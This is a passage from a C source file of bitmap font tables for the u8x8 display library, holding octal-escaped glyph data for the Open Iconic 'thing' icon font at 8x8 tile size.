\"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\376\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\377\\377\\377\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\7\\37\\77\\177\"\n  \"\\177\\377\\377\\377\\377\\377\\377\\177\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\377\\377\\377\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\377\\377\\377\\374\\370\\360\\340\\340\\300\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\37\\7\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37\\77\\77\\177\\177\\177\\177\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\37\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\340\\340\\360\\360\\360\\360\\370\"\n  \"\\370\\370\\370\\374\\374\\374\\374\\374\\374\\374\\376\\376\\376\\376\\376\\376\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\7\"\n  \"\\7\\7\\7\\3\\3\\3\\3\\3\\3\\3\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\300\\340\\360\\370\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\376\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\177~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\37\"\n  \"\\17\\7\\3\\0\\0\\3\\7\\17\\37\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\1\\3\\3\"\n  \"\\7\\17\\17\\37\\77\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\37\\77\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\360\\370\\374\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\200\\300\\300\"\n  \"\\340\\360\\360\\370\\374\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\374\\370\\370\\360\\340\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\376\\374\"\n  \"\\360\\340\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\1\\17\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\177\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\37\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\177\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\77\\37\\17\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\300\\340\\370\\374\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\"\n  \"\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\177\\177\\77\\37\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\"\n  \"\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\3\\7\\37\\77\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\3\\17\\37\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_thing_8x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 19/19\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_thing_8x8[9732] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_8x8\") = \n  \"@R\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\"\n  \"\\374\\376\\377\\377\\377\\377\\376\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\377\\377\\377\"\n  \"\\77\\37\\17\\7\\7\\17\\37\\77\\377\\377\\377\\377\\377\\376\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\77\\177\\377\\377\\377\\377\\377\\374\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\3\\1\\0\\0\\0\\0\\1\\3\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\3\\1\\0\\0\\0\\0\\1\\3\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\300\\200\\0\\0\\0\\0\\200\\300\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\300\\200\\0\\0\\0\\0\\200\\300\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\77\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\360\\360\\370\\374\\374\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\360\\360\\340\\300\\200\"\n  